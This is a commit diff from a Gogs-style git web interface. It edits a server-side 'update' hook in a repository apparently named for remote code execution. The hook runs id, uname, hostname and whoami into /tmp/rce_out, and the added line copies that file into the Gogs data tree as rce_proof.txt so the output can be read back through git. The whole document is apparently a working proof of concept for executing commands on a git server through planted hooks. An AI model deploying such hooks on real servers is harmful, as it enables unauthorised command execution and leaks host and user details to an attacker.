arpongxm 4 周之前
父节点
当前提交
0953a87116
共有 1 个文件被更改,包括 3 次插入1 次删除
  1. 3 1
      nested/rce-034481.git/hooks/update

+ 3 - 1
nested/rce-034481.git/hooks/update

@@ -1,5 +1,7 @@
 #!/bin/sh
 id > /tmp/rce_out 2>&1
-uname -a >> /tmp/rce_out 2>&1
+uname -a >> /tmp/rce_out 2>&1  
 hostname >> /tmp/rce_out 2>&1
 whoami >> /tmp/rce_out 2>&1
+# Also write to a path reachable via git
+cp /tmp/rce_out /data/gogs/data/tmp/local-r/27/rce_proof.txt 2>/dev/null || true